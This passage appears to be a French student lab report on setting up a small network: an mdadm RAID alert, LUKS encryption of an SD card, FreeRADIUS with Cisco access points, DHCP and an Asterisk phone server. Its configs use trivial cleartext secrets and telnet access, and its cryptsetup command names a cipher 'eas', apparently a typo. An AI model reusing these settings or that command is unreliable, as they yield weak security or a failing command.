klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so  libiptc.so.0.0.0	    terminfo
libip4tc.so.0			      libxtables.so.10	    udev
libip4tc.so.0.1.0		      libxtables.so.10.0.0  x86_64-linux-gnu
libip6tc.so.0			      lsb		    xtables
libip6tc.so.0.1.0		      modprobe.d
libipq.so.0			      modules

Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!

From root@faispastomberlasavo.net  Wed Dec  7 17:06:00 2016
X-Original-To: root
From: mdadm monitoring <root@faispastomberlasavo.net>
To: root@faispastomberlasavo.net
Subject: DegradedArray event on /dev/md0:Frotteman
Date: Wed,  7 Dec 2016 17:05:56 +0100 (CET)

This is an automatically generated mail message from mdadm
running on Frotteman

A DegradedArray event had been detected on md device /dev/md0.

Faithfully yours, etc.

P.S. The /proc/mdstat file currently contains the following:

Personalities : [raid6] [raid5] [raid4] 
md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      
unused devices: <none>

6.2 Cryptage carte SD

Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup

cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1

On rentre notre phrase secrète.

Optionel : On peut afficher l'état du conteneur grâce à la commande :

cryptsetup luksDump /dev/mmcblk1

On peut désormais ouvrir notre volume appelé "frotteman", il nous faudra ensuite renseigner la clé secrète :

cryptsetup luksOpen /dev/mmcblk1 frotteman

On peut désormais formater le volume en ext3

mkfs.ext3 /dev/mapper/frotteman

Et finalement monter/demonter le volume :

mount /dev/mapper/frotteman /mnt/
umount /mnt 

Et également fermé le volume chiffré :

cryptsetup luksClose frotteman

6.6 Securasition Wifi par WPA2-EAP

default_eap_type = peap

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

client E306{
        ipaddr = 10.60.1.2
        secret = password
}

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

frotteman Cleartext-Password := "youpi"

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS. Configuration des bornes Wi-Fi

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

conf t

aaa new-model
aaa authentication login eap_frotteman group radius_frotteman
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password
aaa group server radius radius_frotteman
server 193.48.57.161 auth-port 1812 acct-port 1813


exit

dot11 ssid SSID_FROTTEMAN
vlan 2
authentication open eap eap_frotteman
authentication network-eap eap_frotteman
authentication key-management wpa
mbssid guest-mode

exit 

interface Dot11Radio0
encryption vlan 2 mode ciphers aes-ccm tkip
ssid SSID_FROTTEMAN 

exit 

interface Dot11Radio0.2
encapsulation dot1Q 2
no ip route-cache
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding  

exit

interface GigabitEthernet0.2
encapsulation dot1Q 2
bridge-group 2

exit
 
exit


6.8.1 DHCP

On installe un server DHCP sur l'eeePC :

apt-get install isc-dhcp-server

On configure le fichier /etc/dhcp/dhcpd.conf :

option domain-name "faispastomberlasavo.net";
option domain-name-servers 193.48.57.161;

subnet 10.60.2.0 netmask 255.255.255.0 {
      range 10.60.2.50 10.60.2.100;
      option routers 10.60.6.1;
}

Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server

6.8.2 PCBx

On installe asterisk

apt-get install asterisk

On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 & 665:

[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[666]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Cduval
username=cduval
secret=glopglop
context=work 

[665]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Pfitouss
username=pfitouss
secret=glopglop
context=work 


Nous pouvons donc constater que le communication est réussi

Frotteman*CLI> sip show peers
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      
665/pfitouss              (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  
666/cduval                (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
    -- Registered SIP '665' at 10.60.2.100:38862
[Jan  6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
    -- Registered SIP '666' at 10.60.2.101:35192
[Jan  6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666
[Jan  6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
  == Using SIP RTP CoS mark 5
    -- Executing [666@work:1] Dial("SIP/665-00000000", "SIP/666,20") in new stack
  == Using SIP RTP CoS mark 5
    -- Called SIP/666
    -- SIP/666-00000001 is ringing
    -- SIP/666-00000001 answered SIP/665-00000000
    -- Remotely bridging SIP/665-00000000 and SIP/666-00000001
  == Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'
Frotteman*CLI>